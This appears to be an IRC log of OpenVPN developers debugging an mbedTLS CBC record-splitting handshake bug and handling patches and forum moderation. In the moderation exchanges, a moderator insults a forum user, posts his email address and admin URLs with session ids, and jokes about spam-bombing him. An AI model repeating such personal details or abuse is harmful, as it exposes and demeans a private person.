07:28 <@ordex> ahah 07:29 <@plaisthos> novaflash: WE DO OUR ACCOUTING WITH FLOATS! 07:32 <@novaflash> your money floats? 07:32 <@novaflash> can't be coins then 07:32 <@novaflash> coins sink 07:32 <@novaflash> and getting anything after the comma or period is pretty difficult without using coins... 07:32 <@novaflash> so obviously it can't float 07:33 <@syzzer> :') 07:36 <@syzzer> ordex: do you expect to review the prep. patches I sent yesterday soon? Because then I'll hold off with the other tls-crypt-v2 patches, and send a rebased patch set once these are final. 07:36 <@syzzer> less clutter on the ml that way :) 07:36 <@ordex> eheh 07:36 <@ordex> you mean the create_temp_blabla()? 07:36 <@syzzer> yeah, that 07:36 <@ordex> yeah I wanted to review, but won't be able before tomorrow my morning at least 07:37 <@syzzer> that's soon enough for me. I'll keep the rebase local for now then. 07:39 <@ordex> oky 07:42 <@ordex> syzzer: do you know if we do anything client side to make mbedTLS work properly with TLS 1.0 ? 07:43 <@ordex> like setting some flag or pushing some knob? :p 08:27 <@syzzer> ordex: that depends what the reason is the connection fails 08:27 <@ordex> right now it is failing upon reception of the server hello with MBEDTLS_X509_BADCERT_BAD_PK 08:27 <@ordex> /**< The certificate is signed with an unaccept able PK alg (eg RSA vs ECDSA). */ 08:27 <@ordex> this is x509.h in mbedtls says 08:27 <@syzzer> sounds like either... yes, that 08:27 <@syzzer> key too small? digest not allowed? 08:28 <@ordex> it's a TLS thing 08:28 <@ordex> the server is using TLS 1.0 08:28 <@ordex> it is not yet the time for checking the openvpn certificates (I think ?) 08:28 <@syzzer> yes, mbed should communicate just fine with that 08:29 <@syzzer> why would you then get a BADCERT warning? 08:29 <@ordex> yap, if I use openvpn 2.4.4 (with mbedtls 2.6.0) I see no error 08:29 <@ordex> the error is returned by mbedtls_ssl_handshake() 08:29 <@ordex> I guess mbedtls is refusing some settings provided by the server when using TLS1.0 ? 08:30 <@ordex> just to clarify. openvpn-2.4.4 as client works fine. I have this problem only in ovpn3, thus I was wondering if we set something in 2.4.4 that makes it accept poor TLS settings 08:31 <@syzzer> I don't think we do 08:31 <@syzzer> hmm, wait... 08:32 <@ordex> going deeeeep the error is generated by mbedtls_ssl_fetch_input() ... trying to see in the mbedtls code if there is some if (this is set) don't-complain 08:32 <@syzzer> does 3 call mbedtls_ssl_conf_min_version() ? 08:32 <@syzzer> because 2.4 always calls that 08:32 <@syzzer> if new mbed disables 1.0 by default, that could be the reason 08:32 <@ordex> yes it does 08:33 <@ordex> I checked that 08:33 <@ordex> if I set 1.1 (just as a test) I get an early error saying that TLS1.0 is not enabled 08:33 <@ordex> therefore in this case it really believes to have 1.0 enabled 08:33 <@ordex> otherwise it wouldn't go that far 08:34 <@syzzer> hmm 08:34 <@ordex> so the function responsible for this check is: x509_profile_check_pk_alg() 08:35 * novaflash waves magic wand 08:35 <@ordex> mh 08:35 <@ordex> the function it's one line: 08:35 <@ordex> if( ( profile->allowed_pks & MBEDTLS_X509_ID_FLAG( pk_alg ) ) != 0 ) 08:36 <@ordex> but allowed_pks is never assigned 08:36 * ordex looks at the stars 08:36 * ordex waits for a sign 08:36 <@syzzer> looking at the code this really looks like a certificate with unsupported alg 08:36 <@syzzer> so MD5, or RSA-1024 or so 08:37 <@ordex> but 2.4.4 compiled against the same mbedtls-2.6.0 works 08:37 <@ordex> maybe they are negotiating something different in the hello? 08:37 <@ordex> (I don't really know how the handshake fully works) 08:37 <@syzzer> does 3 do anything with cert profiles? 08:37 <@ordex> mhhh what could 'anything' be ? 08:37 <@syzzer> grep for crt_profile 08:38 <@ordex> one sec 08:38 <@ordex> yeah 08:38 <@ordex> ah 08:38 <@ordex> there is where the allowe_pks are stored 08:38 <@ordex> *allowed 08:39 <@ordex> so probably it is setting something more restrictive than the default 08:39 <@ordex> and then mbedtls complains because the handshake is trying to use something not compliant with the profile (?) 08:40 <@syzzer> the cert provided by the peer (or the CA) might not be good enough 08:40 <@syzzer> so looks like 3 is more restrictive (in some sense) that mbed defaults 08:40 <@ordex> yeah 08:41 <@ordex> actually james also implemented a switch to allow the user to set a "legacy" profile 08:41 <@ordex> probably using that will work 08:41 <@syzzer> yeah, that is what we agreed to do 08:42 <@syzzer> patch for 2.4 is on the list, but dazo wanted an openssl implementation too before applying to, and I did not have time to finish that one (because the openssl API is terrible :( ) 08:42 <@ordex> btw, does it make sense that this is related only to the TLS tunnel and not to CA/cert/key ? 08:42 <@syzzer> this *is* about CA/cert/key 08:42 <@ordex> mh 08:43 <@ordex> why I don't have this problem if the server is using tls-version-min > 1.0 ? 08:43 <@syzzer> those are used to set up the TLS connection 08:43 <@ordex> ah 08:43 <@syzzer> with the same cert? 08:43 <@ordex> yup 08:43 <@ordex> actually on a 2.4.4 server I see this problem only if I set tls-version-max 1.0 08:44 <@ordex> if I omit that, it just works 08:44 <@ordex> that's why I am saying that I did'nt think it is related to the openvpn handshake, but to the first TLS tunnel that gets created 08:44 <@ordex> but I am confused, it's a lot that I am sigging into the code, so I might be off 08:44 <@ordex> *digging 08:44 <@syzzer> hm, not sure. might be that 1.0 specifies that some step in the handshake uses the same alg as the cert, while 1.1+ do not 08:45 * ordex raises his hands 08:45 <@syzzer> so, does setting --tls-cert-profile legacy help? 08:45 <@ordex> checking now 08:47 <@ordex> seems it does not 08:47 <@ordex> still same error 08:47 <@ordex> let me see when it is applied 08:48 <@ordex> syzzer: do you want to see the profiles ? 08:48 <@ordex> maybe legacy is not relaxed enough ? :P 08:48 <@ordex> I should print what the TLS tunnel is trying to use 08:57 <@syzzer> yeah, change x509_profile_check_pk_alg() to print the allowed_pks and pk_alg. Figure out what is different between 1.0 and 1.1. 08:57 <@ordex> yap 08:57 <@ordex> well, still interesting that 2.4.4 can connect even if the server has max-tls 1.0 08:58 <@ordex> I can dump everything 09:05 <@ordex> lol 09:05 <@ordex> I set a breakpoint at x509_profile_check_pk_alg() but it never hits 09:05 <@ordex> sgrat sgrat 09:06 <@ordex> I start from mbedtls_ssl_handshake() 09:06 <@syzzer> likely optimized out 09:06 <@syzzer> did you use -O0 ? 09:08 <@ordex> yes 09:08 <@ordex> I have put a fprintf inside too 09:08 <@ordex> but nothing 09:08 <@ordex> I am going step by step with gdb 09:16 <@ordex> ah 09:16 <@ordex> so I think it was not the MBEDTLS_X509_BADCERT_BAD_PK error 09:16 <@ordex> but james used the same value for another internal error 09:16 <@ordex> that is returned by the f_recv function set by ovpn3 09:17 <@ordex> and it is CT_WOULD_BLOCK 09:17 <@ordex> the comment on top says: // assumes that mbed TLS user-defined errors may start at -0x8000 09:17 <@ordex> too bad it is not true anymore :D 09:18 <@ordex> anyway 09:18 <@ordex> it seems there is some kind of error while reading the data then ... 09:18 <@syzzer> well that was a good red herring then... 09:18 <@ordex> phew 09:19 <@ordex> now I have to understand why this error is not handled internal and it is rather reported up to mbedtls which believes to be failing 09:19 <@ordex> and I wonder why this does not happen with tls > 1.0 09:20 * ordex pull shis hair 09:20 <@ordex> *pulls 09:20 * syzzer guesses this has to do with cbc record splitting 09:21 <@ordex> but is that enabled in 2.4.4 ? 09:21 <@ordex> I think it is not, no? 09:21 <@ordex> I saw it but it is under an ifdeb 09:21 <@ordex> ifdef 09:21 <@syzzer> hmm, good point 09:21 <@ordex> but sounds close 09:22 <@ordex> maybe it is disabled on ovpn3 09:22 <@ordex> lemme check 09:22 <@ordex> nope .. MBEDTLS_SSL_CBC_RECORD_SPLITTING_DISABLED does not exist at all in ovpn3 09:23 <@ordex> I have to dig deeper and check when CT_WOULD_BLOCK is returned and then why :S 09:23 * novaflash gives ordex some breadcrumbs 09:24 <@ordex> :D 09:26 <@ordex> ok, so also when it works I get WOULD_BLOCK a couple of times and it is reported up to the handshake, but ovpn3 continues and eventually works 09:27 <@ordex> let's see the case of tls1.0 now 09:29 <@ordex> mah 09:32 <@ordex> ok CT_WOULD_BLOCK is not the problem. that is just part of how it normally works with non blocking i/o 09:32 <@ordex> also openvpn-2.4.4 does something similar 10:48 <@dazo> syzzer: what purpose does get_highest_preference_tls_cipher() have in our code? .... seems it have no users, right? 10:56 <@syzzer> dazo: purge it! 10:56 <@syzzer> (looks like a remnant of old code indeed) 11:00 <@dazo> okay, will send patch later today :) 11:07 <@ordex> syzzer: the problem seems to be exactly cbc_record_splitting 11:07 <@ordex> I Don't get why it works on 2.4.4 though, even if we haven't disabled it .. 11:08 <@syzzer> well the *sender* needs to disable it 11:08 <@ordex> but we don't disable it on the client n 2.4.4, right ? 11:08 <@ordex> and 2.4.4 works in the same scenario 11:09 <@syzzer> 2.4.4 disables cbc_record_splitting at both server and client side 11:09 <@ordex> does it ? 11:09 <@ordex> ah 11:09 <@ordex> cr0p 11:09 <@ordex> MBEDTLS_SSL_CBC_RECORD_SPLITTING << it is defined in mbedtls 11:09 <@ordex> not in openvpn 11:09 <@ordex> cr0000000000000p 11:10 <@ordex> that's why I couldn't find it 11:10 <@ordex> and that's why I assumed it was not definedddd 11:10 <@ordex> dazo: !!!!!!!! 11:10 <@ordex> :D 11:10 <@ordex> this is the issue 11:10 <@syzzer> ack -C5 cbc_record_splitting src/ 11:10 <@ordex> testing now on ovpn3 11:10 <@syzzer> src/openvpn/ssl_mbedtls.c 11:10 <@syzzer> 925- /* Disable record splitting (for now). OpenVPN assumes records are sent 11:10 <@syzzer> 926- * unfragmented, and changing that will require thorough review and 11:10 <@syzzer> 927- * testing. Since OpenVPN is not susceptible to BEAST, we can just 11:10 <@syzzer> 928- * disable record splitting as a quick fix. */ 11:10 <@syzzer> 929-#if defined(MBEDTLS_SSL_CBC_RECORD_SPLITTING) 11:10 <@syzzer> 930: mbedtls_ssl_conf_cbc_record_splitting(&ks_ssl->ssl_config, 11:10 <@syzzer> 931- MBEDTLS_SSL_CBC_RECORD_SPLITTING_DISABLED); 11:10 <@syzzer> 932-#endif /* MBEDTLS_SSL_CBC_RECORD_SPLITTING */ 11:10 <@ordex> yes yes 11:10 <@ordex> but I thought that MBEDTLS_SSL_CBC_RECORD_SPLITTING was a define that was supposed to exist in openvpn 11:10 <@dazo> ahhhhh!!!! 11:10 <@ordex> while it comes from mbedtls 11:11 <@ordex> I didn't realizet that :/ 11:11 <@dazo> I looked at that code path 5 minutes ago .... and thought "nah, this is not enabled in 2.3/2.4" 11:11 <@ordex> yeah thought the same because grep MBEDTLS_SSL_CBC_RECORD_SPLITTING in openvpn did not show anything :D 11:12 <@dazo> yeah! 11:12 <@dazo> mbedtls_ssl_conf_cbc_record_splitting(sslconf, 11:12 <@dazo> MBEDTLS_SSL_CBC_RECORD_SPLITTING_DISABLED); 11:13 <@dazo> adding those lines in the SSL() constructor (after the TLS min version stuff) ... and it works 11:13 <@ordex> yeah 11:13 <@ordex> puah 11:14 <@ordex> I am in this thing since 14 hours now :D 11:14 <@syzzer> so it actually *was* a bug in ovpn3 ;-) 11:14 <@ordex> yep 11:14 <@dazo> but .... that means we should have the same issue with a 2.4.4 client built against mbedtls-2.6, right? 11:14 <@ordex> dazo: no 11:14 <@ordex> 2.4.4 client disables that 11:14 <@dazo> where? 11:14 <@ordex> the code that syzzer pasted is doing that 11:14 <@ordex> grep mbedtls_ssl_conf_cbc_record_splitting() 11:14 <@ordex> this is done on both client and server 11:15 <@dazo> in key_state_ssl_init(), right? ssl_mbedtls.c:930 ? 11:15 <@ordex> yap 11:16 <@dazo> but .... duh! Yeah, MBEDTLS_SSL_CBC_RECORD_SPLITTING is coming from the mbedtls include files 11:16 <@ordex> yup 11:16 <@ordex> I got fooled by that :( 11:16 <@dazo> grrrr 11:16 * dazo too 11:16 <@syzzer> glad you found it :) 11:18 <@ordex> :) 11:28 <@ordex> it was funny because at some point the problem was "the client is sending a single byte and this is messing up the receiver" and this was exactly was cbc record splitting does 11:28 <@ordex> phew 11:28 <@ordex> :) 12:57 < tincantech> ecrist: dazo (or another forum admin) please see https://forums.openvpn.net/viewtopic.php?f=30&t=25197 12:57 <@vpnHelper> Title: Please change my username! - OpenVPN Support Forum (at forums.openvpn.net) 12:58 <@novaflash> haha 12:58 < tincantech> lol .. forget it i can change it :) 12:59 <@dazo> and probably delete that post as well ;-) 12:59 <@novaflash> should totally send him some spam now 12:59 < tincantech> sure thing :) 12:59 < tincantech> anybody know a good spam bomb ? 12:59 < tincantech> meh meh meh 13:00 < tincantech> dazo: as you are around could you "have" a look at this one please : https://forums.openvpn.net/viewtopic.php?f=6&t=25185 13:00 <@vpnHelper> Title: Firewall / NAT issue after sucessful connection. - OpenVPN Support Forum (at forums.openvpn.net) 13:01 < tincantech> it's a bit odd in that forwarding does not appear to be working .. 13:01 < tincantech> novaflash: you too you swine ! 13:02 <@novaflash> tincantech: sir yes sir 13:19 < tincantech> forget that forum post .. i found the /problem/ (nothing to do with openvpn as usual) .. 13:30 <@novaflash> was the problem between your ears? 13:54 <@dazo> pebkac? 13:56 <@dazo> !learn pebkac as http://www.userfriendly.org/cartoons/archives/98may/uf980506.gif 13:56 <@vpnHelper> Joo got it. 13:58 <@cron2> whee, userfriendly! 14:05 <@novaflash> my problems are always between my ears 16:44 <@cron2> so... tax paperwork round #1 done... 18:41 < tincantech> I would like to delete an entire forum thread because of arseholes playing silly buggers .. https://forums.openvpn.net/viewtopic.php?f=33&t=25179 18:41 <@vpnHelper> Title: OpenVPN update from 1.1.21 to 1.1.22 (Google Play) - OpenVPN Support Forum (at forums.openvpn.net) 18:42 < tincantech> reasons (1) This TWAT : https://forums.openvpn.net/viewtopic.php?f=33&t=25179#p74092 was the same one that asked for his user name to be changed to remove his email .. which he has now created a new id for and put his entire email in as user name AGAIN ! 18:43 <@vpnHelper> Title: OpenVPN update from 1.1.21 to 1.1.22 (Google Play) - OpenVPN Support Forum (at forums.openvpn.net) 18:43 < tincantech> reason (2) the OP never replied to me although he has posted on other thread since .. 18:44 < tincantech> reason (3) fuck them the thread is all pish any way 18:44 < tincantech> ecrist: ^ et al 18:51 < tincantech> I am happy to lock it but would prefer deletion! 18:52 < tincantech> And here he is again : https://forums.openvpn.net/viewtopic.php?f=30&t=25199 18:52 <@vpnHelper> Title: Username change - OpenVPN Support Forum (at forums.openvpn.net) 18:52 < tincantech> Fuck him .. I am gonna Ban him ! 18:54 < tincantech> I am going to ban his account with the email id : mnl1121@live.com (was @gmail before) 18:55 < tincantech> I am going to leave his winging crap on the forum : https://forums.openvpn.net/viewtopic.php?f=30&t=25199 18:55 <@vpnHelper> Title: Username change - OpenVPN Support Forum (at forums.openvpn.net) 18:56 < tincantech> He created a NEW account with a different email see in the Admin panel 18:56 < tincantech> the one i changed : https://forums.openvpn.net/adm/index.php?i=users&mode=overview&u=42279&sid=72afd6fc7de3b049a64d7a3ed4c57dd7 18:56 < tincantech> the new one : https://forums.openvpn.net/adm/index.php?i=users&mode=overview&u=42289&sid=72afd6fc7de3b049a64d7a3ed4c57dd7 18:58 < tincantech> I leave it to you to decide .. I locked the post that's all 21:32 <@ordex> git-2.15 is out! 21:43 <@ordex> update for openssl too...another security bug found 21:43 <@ordex> not very critical though 21:49 <@ordex> tincantech: I replied to a post. I hope I did not do anything wrong 22:03 < tincantech> ordex: moin 22:03 <@ordex> aloha 22:04 < tincantech> my complaint was not about the content .. but about the idiot .. i guess they just happen 22:04 < tincantech> your comment there is probably gonna confuse most of them as it does me 22:05 < tincantech> par for the course ;) 22:10 < tincantech> TWAT strikes again : https://forums.openvpn.net/viewtopic.php?f=30&t=25200 22:10 <@vpnHelper> Title: Username - OpenVPN Support Forum (at forums.openvpn.net) 22:10 < tincantech> locked .. 22:11 < tincantech> https://forums.openvpn.net/viewtopic.php?f=33&t=25194#p74095 22:11 <@vpnHelper> Title: Last nights update causing connection timeout - OpenVPN Support Forum (at forums.openvpn.net) 22:11 < tincantech> locked .. 22:23 <@ordex> tincantech: confuse how? 22:23 <@ordex> I am partly asleep so i may have written bogus things 22:24 <@ordex> btw we should tell people to upgrade, not just close the ticket, imho (I know it is time consuming ..) 23:11 < CRCinAU> awww - I wanna see twat posts. 23:12 < CRCinAU> ahhh - only locked, not deleted / hidden :p --- Day changed Fri Nov 03 2017 03:23 <@syzzer> d12fk: you around? 03:23 <@syzzer> we have a new windows dev asking if he can join the hackathon on the -devel list 03:29 <@cron2> syzzer: d12fk already agreed in parallel mail, and simon has already booked :) 03:29 <@cron2> the flow of mails "who got cc'ed on what" was a bit weird 03:29 <@syzzer> ah, great. 03:33 <@mattock> syzzer: I didn't see any emails from d12fk, but when I asked him personally he said he sent one 03:33 <@mattock> never underestimate how badly information tends to flow :P 04:16 <@plaisthos> :) 04:16 <@plaisthos> full hackaton this year 05:39 <@ordex> wow 05:39 <@ordex> should we book for one entire week? :P 06:32 < tincantech> share a video or some photos of the hack 07:04 <@ecrist> tincantech: You should leave https://forums.openvpn.net/viewtopic.php?f=33&t=25179 up, don't delete it. 07:04 <@vpnHelper> Title: OpenVPN update from 1.1.21 to 1.1.22 (Google Play) - OpenVPN Support Forum (at forums.openvpn.net) 07:16 < tincantech> ecrist: yeah .. i did not delete anything 07:29 <@ordex> tincantech: I hope you don't mind if I follow up in that thread too ? 07:50 <@d12fk> yeah indeed full hackathon, we need to combine budgets to make dinner possible =) 07:51 <@syzzer> I secured some budget again :) 08:05 <@ordex> cool :) 08:05 <@ordex> mattock: any chance we can get a t-shirt ? or too late to arrange ? 08:05 <@ordex> we need a t-shirt, a blanket, a sticker and even a dog. all branded by OpenVPN :P 08:12 <@cron2> t-shirt! 08:13 * cron2 has the nagging feeling that there won't be a t-shirt this time :( 08:18 < tincantech> ordex: please do :) 08:19 <@ordex> :( 08:20 <@ordex> cron2: if not, we bring our white shirts and black marker and we made them ourselves! 08:20 <@ordex> :D 11:47 <@vpnHelper> RSS Update - tickets: #956: Management Interface does not query for PKCS#11 token password in daemon mode <https://community.openvpn.net/openvpn/ticket/956> 13:35 <@vpnHelper> RSS Update - gitrepo: Avoid illegal memory access when malformed data is read from the pipe <https://github.com/OpenVPN/openvpn/commit/6f20808c8f37301c43d822f6a22d30b3587abc57> 14:00 <@vpnHelper> RSS Update - gitrepo: Fix missing check for return value of malloc'd buffer <https://github.com/OpenVPN/openvpn/commit/f3d389a2d2b87aeb649bfdccd596f485346a32c7> 14:31 <@syzzer> whee, commits \o/ 14:49 <@cron2> but that's it for now... I'm tired and need to couch a bit. More tomorrow. 21:23 -!- raidz [49e7b79d@openvpn/corp/admin/andrew] has joined #openvpn-devel 21:23 -!- mode/#openvpn-devel [+o raidz] by ChanServ 21:26 -!- raidz [49e7b79d@openvpn/corp/admin/andrew] has quit [Quit: Page closed] 21:33 <@ordex> oh 21:33 <@ordex> openvpn is b0rken! 23:00 <@ordex> omg in kalrsruhe it says 4C now 23:00 * ordex puts the swimsuit away --- Day changed Sat Nov 04 2017 00:01 <@ordex> cron2: cool summary in [PATCH] man: Describe --proto options better 00:01 <@ordex> :) 05:39 <@plaisthos> ordex: :D 05:39 <@plaisthos> with 10C you would have gone outside swimming, right? 05:40 <@ordex> nope, but here today it's bad weather and it's 24 :P 05:40 <@plaisthos> where is "here"? 05:40 <@ordex> in Hong Kong 05:40 <@plaisthos> oh okay 05:40 <@ordex> I am mentally preparing myself :D 05:41 <@plaisthos> yet another place I only know from media :D 05:41 <@ordex> :D well, you should fix that and come here at least once :) 10:06 < cthuluh> hey there; just a friendly reminder about the "Fix time_t printing" diffs on the ml :) 10:18 <@cron2> ordex: yeah, last week I had 35C... 10:18 <@ordex> eheh, that's not bad, isn't it? :) 10:18 <@cron2> ordex: wrt hong kong - that might be a bit too far away for the next hackathon... but who knows... :-) 10:18 <@ordex> eheh never say never :) 10:18 <@cron2> cthuluh: thanks. I've been working on the patch backlog, but got distracted by paid work again 11:18 <@vpnHelper> RSS Update - gitrepo: lz4: Rebase compat-lz4 against upstream v1.7.5 <https://github.com/OpenVPN/openvpn/commit/86614539e5ff2ca72f61a9a377130f3b403c9434> || Remove references to keychain-mcd in Changes.rst <https://github.com/OpenVPN/openvpn/commit/6255706295bf128ec5b5e4c1272fc6ffbfddf0ba> 13:01 <@cron2> syzzer: are you around? if yes, which time_t patch did you ACK, and is that the one I *should* be merging? 13:08 <@cron2> ah 13:08 <@cron2> you need both 13:40 <@vpnHelper> RSS Update - gitrepo: Print time_t as long long and suseconds_t as long <https://github.com/OpenVPN/openvpn/commit/31b5c0e9a0c10f59a0e987a9e1f82e9268b30e61> || Cast time_t to long long in order to print it. <https://github.com/OpenVPN/openvpn/commit/4ac769fb848619dcb39589af29302d8c2d698258> || autoconf: Fix engine checks for openssl 1.1 <https://github.com/OpenVPN/openvpn/commit/6b5dbf6c8da0ff82fa1dca4eb4665be0a4fe31d3> 13:58 <@vpnHelper> RSS Update - gitrepo: Fix typo in "verb" command examples <https://github.com/OpenVPN/openvpn/commit/13f615b1f681df29d6792f4310be396e562caa4d> || Document ">PASSWORD:Auth-Token" real-time message <https://github.com/OpenVPN/openvpn/commit/a294cd65f6c61d41e1b7584b07295aba73aeb4cb> || Fix local #include to use quoted form <https://github.com/OpenVPN/openvpn/commit/d2a7415f265aea5e0f04d80e48af506e153ba0f4> 14:30 <@cron2> ordex: care to review syzzer's "[PATCH v2] Don't throw fatal errors from create_temp_file()" series? 14:54 * cron2 goes couching now 14:56 <@cron2> mattock: I've set "the correct header" but patchwork is not picking up my PATCH APPLIED mails... 14:56 <@vpnHelper> RSS Update - gitrepo: MSVC meta files added to .gitignore list <https://github.com/OpenVPN/openvpn/commit/289ba682c70f9ea801fabca297115409acc437c9> || Uniform swprintf() across MinGW and MSVC compilers <https://github.com/OpenVPN/openvpn/commit/2f7b59196f55d62386cbcb2a889381e91e6c5148> 15:03 <@vpnHelper> RSS Update - gitrepo: systemd: Add and ship README.systemd <https://github.com/OpenVPN/openvpn/commit/3230057d3a569ccedb0a41116e7819a229bd4a3f> 16:33 <@syzzer> cron2: (re the buffer_list tests) this is strange, I just applied 1/5 to current master, but am getting a different test failure that you got: 16:33 <@syzzer> [ RUN ] test_buffer_list_aggregate_separator_nosep 16:33 <@syzzer> [ OK ] test_buffer_list_aggregate_separator_nosep 16:33 <@syzzer> [ RUN ] test_buffer_list_aggregate_separator_zerolen 16:33 <@syzzer> [ ERROR ] --- " �s" != "" 16:33 <@syzzer> [ LINE ] --- ../../.././../openvpn/tests/unit_tests/openvpn/test_buffer.c:183: error: Failure! 16:33 <@syzzer> [ FAILED ] test_buffer_list_aggregate_separator_zerolen 17:06 <@cron2> syzzer: weird... it really shouldn't fail at all :-) - but if the function itself is so misbehaved, maybe the result is architecture dependent? my failrues are on freebsd/sparc64 17:21 <@syzzer> my failure is due to uninitialized memory 17:21 <@syzzer> so that's likely to be platform-dependent 17:21 <@syzzer> if for some reason zero-initialized memory is returned by malloc, the test will succeed 17:22 <@syzzer> if not, the test fails... 17:22 <@syzzer> this code is really bad :( 17:42 <@syzzer> ok, I get it. This is more about the function contract not being clear than the code being bad. 17:42 <@syzzer> These functions are simply not expected to return zero-terminated string, even if you put zero-terminated strings into them. 21:44 <@ordex> cron2: yes, it's on my todo 21:48 <@ordex> cron2: are you registered to patchwork? I guess you have to and your account maybe has to be a "Maintainer" one (?)... mattock may know --- Day changed Sun Nov 05 2017 02:57 <@cron2> ordex: not yet. What do I need to do? 02:58 <@ordex> cron2: to register? just go on patchwork.openvpn.net 02:58 <@cron2> done! 02:59 <@ordex> to become maintainer mattock has to set that up, but i don't know if that's really required 02:59 <@ordex> maybe you can bounce patchwork an email with the header set now 02:59 <@ordex> one of those you've already sent 03:00 <@cron2> what's the address patchwork is listening to? 03:00 <@ordex> mhhh have to check 03:00 <@ordex> dunno :( 03:00 <@ordex> mattock: knows 03:01 <@cron2> still waiting for the confirmation email... seems that node does not have proper SPF records, so it's stuck in greylisting 03:01 <@ordex> oh ok 03:02 <@cron2> (but as long as I do not have the bounce-to address, that is somewhat moot anyway :) ) 03:02 <@cron2> mattock: *pokey* 03:10 <@cron2> (as a side note.... "patchwork.openvpn.net has no AAAA record") 03:19 <@ordex> oh no connectivity then! 03:19 <@ordex> :P 03:20 <@cron2> Your Patchwork registration is complete! 03:20 <@ordex> cool ;) 03:30 <@cron2> I'll test the theory "is registration sufficient?" later with syzzer's v2 buffer patch 03:31 <@ordex> oky 04:13 <@cron2> so... let's see what happens next 04:19 <@vpnHelper> RSS Update - gitrepo: buffer_list_aggregate_separator(): add unit tests <https://github.com/OpenVPN/openvpn/commit/2ddb527abe38f5866ff01e91f8ee89d0f9700762> 04:22 <@cron2> ok, patchworks is just ignoring me... still 04:28 <@cron2> seems i need more privileges... can't even do that when logged in 04:28 <@cron2> "You don't have permissions to edit patch '[Openvpn-devel] Fixed that "--bind ipv6only" did" 05:15 <@ordex> cron2: I see, them mattock must push some button I guess 05:15 <@ordex> :P 05:52 <@cron2> ordex: do you have admin privs? 05:53 <@ordex> do't think so 05:53 <@ordex> don't* 05:55 < CRCinAU> b0rt 06:06 <@ordex> me nothing knows 06:06 < CRCinAU> day 2 of a 4 day weekend...... 06:07 < CRCinAU> and I'm bored out of my tree LOL 06:07 < CRCinAU> like, I'm thinking of going for a walk level bored.... 06:08 <@ordex> :D 06:09 <@ordex> is it already warmer there ? 06:13 < CRCinAU> not really.... its currently ~10c 06:13 < CRCinAU> but when your home lab is just running perfectly........ what else is there to do :\ 06:13 < CRCinAU> like, I don't even have something to tinker with lol 06:14 <@ordex> eheh 06:14 <@ordex> there must be something broken! 06:15 < CRCinAU> my last tinker was this: https://www.crc.id.au/hacking-the-technicolor-tg799vac-and-unlocking-features/ 06:16 < CRCinAU> that was a "Shit, this thing has a DECT base station in it..... How do I make it work" :P 06:16 < CRCinAU> I have DECT phones now lol 06:19 <@ordex> don't know what a DECT is 06:20 <@cron2> wireless telephones, sorta like ISDN level - "stuff that just works, no fancy IP involved" 06:25 < CRCinAU> even better, the DECT connects to a SIP profile 06:25 < CRCinAU> so up to 5 handsets on SIP profiles from the modem :D 06:25 < CRCinAU> anyway, fuck it - I'm going for a walk lol 06:44 <@ordex> :D 06:44 <@ordex> good idea ;) 07:24 < CRCinAU> phew. back 10:39 <@novaflash> CRCinAU: sounds a lot like those fritzbox things here in the EU, they are also wildly full of features. have you ever seen a DECT operated powerswitch? to turn on/off things like connected lights and coffeemachines and whatnot? those fritzbox guys take shit to the limit. 10:49 < CRCinAU> I can't say I have. 11:25 <@novaflash> https://en.avm.de/products/fritzdect/fritzdect-200/ 11:25 <@vpnHelper> Title: FRITZ!DECT 200 | AVM International (at en.avm.de) 11:25 <@novaflash> i tihnk they have a limit of something like 16 such devices and 5 dect phones attached to one fritz box 14:05 <@cron2> oh, wow, patchwork *did* see my close 14:05 <@cron2> https://patchwork.openvpn.net/patch/46/ 14:05 <@vpnHelper> Title: [Openvpn-devel,v2] buffer_list_aggregate_separator(): add unit tests - Patchwork (at patchwork.openvpn.net) 14:06 <@cron2> it was just a bit slow 19:45 <@ordex> ecrist: tincantech: isn't it possible to delete an entire thread in the the forum? like " Buy counterfeit money, (SSD SOLUTION ) and potassium cyanide cleanpaperz@gmail.com " 20:17 < tincantech> ordex: yes .. I do it often enough .. why ? 20:17 <@ordex> because ecrist deleted the post, but not the thread 20:17 <@ordex> and I Was wondering if we could just wipe the thread 20:18 < tincantech> ecrist prefers to delete only what is necessary and leave the rest for posterity .. 20:18 < tincantech> what thread ? 20:19 < tincantech> also .. if you are a mod/admin you may see more than usual users do 20:20 < tincantech> ordex: that is quite ols .. i left it there for the admin to decide if they want to pursue it further 20:21 < tincantech> old* 20:21 <@ordex> I see 20:21 <@ordex> ok 20:22 < tincantech> ordex: there are some threads on the forum which we delete because they are absolute nonsense .. but then there are some that are rubbish but they remian 20:22 <@ordex> eheh I see 20:22 <@ordex> ok 20:23 < tincantech> best thing to do is .. unless it is out and out spam (ecort girls .. illegal shit) just leave it and ask me or ecrist 20:24 < tincantech> ask me cos i will anser first .. ask ecrist (or mattock or dazo) for proper decision 20:25 < tincantech> nobody else give a #### about it 20:25 <@ordex> ok 20:26 <@ordex> personally I'd just keep it clean, so at least hide the thread. because it does not really look professional to have those stuff in there 20:26 <@ordex> just my opinion :) 20:27 < tincantech> ordex: that thread is hidden from normal users .. only mods or admin can see it 20:27 <@ordex> oh ok 20:27 < tincantech> "But counterfiet money" etc .. 20:27 <@ordex> then who cares :D 20:27 < tincantech> exactly ;) 20:28 <@ordex> that's fine 20:28 <@ordex> thanks 20:28 < tincantech> no prob 20:28 < tincantech> i g2g2 zzz 22:33 <@ordex> plaisthos: do you use openssl-1.1 in your app? or mbedtls? 22:33 <@ordex> or what? --- Day changed Mon Nov 06 2017 00:31 -!- Netsplit *.net <-> *.split quits: @novaflash 01:12 -!- novaflash [~novaflash@openvpn/corp/support/novaflash] has joined #openvpn-devel 01:12 -!- ServerMode/#openvpn-devel [+ov novaflash novaflash] by moon.freenode.net 07:15 <@plaisthos> ordex: openssl 1.1 07:16 <@plaisthos> ordex: mbedtls is temping but looses compared to ossl in two regards a) feature completness in ovpn b) speed 07:16 <@plaisthos> mbedtls has no assembler code last time I checked 07:16 <@syzzer> plaisthos: it does have some 07:17 <@syzzer> for AES-NI at least 07:17 <@syzzer> but *much* less optimized 07:32 <@plaisthos> syzzer: ah okay then that changed, last time I checked when it was still called polarssl I could not find anything about assembler 07:47 <@plaisthos> syzzer: and also only for x86. No ARM code. 07:57 <@plaisthos> but I should get my "openssl speed" plugin into my app 08:10 <@ecrist> ordex: which thread? 08:10 <@ecrist> can you give me a lin k? 08:13 <@ordex> ecrist: it was eleted already, but I could see it as I am admin. I didn't know that 08:14 <@ordex> plaisthos: ok. because I saw some people reporting that encrypted keys are not decryptable by openvpn when using mbedtls. So I wanted to understand, but I couldn't reproduce it yet 08:16 <@ordex> plaisthos: are you aware of this? maybe you can tell me how to generate such encrypted keys using openssl 1.1 ? 08:28 <@ecrist> ordex: gotcha. 08:30 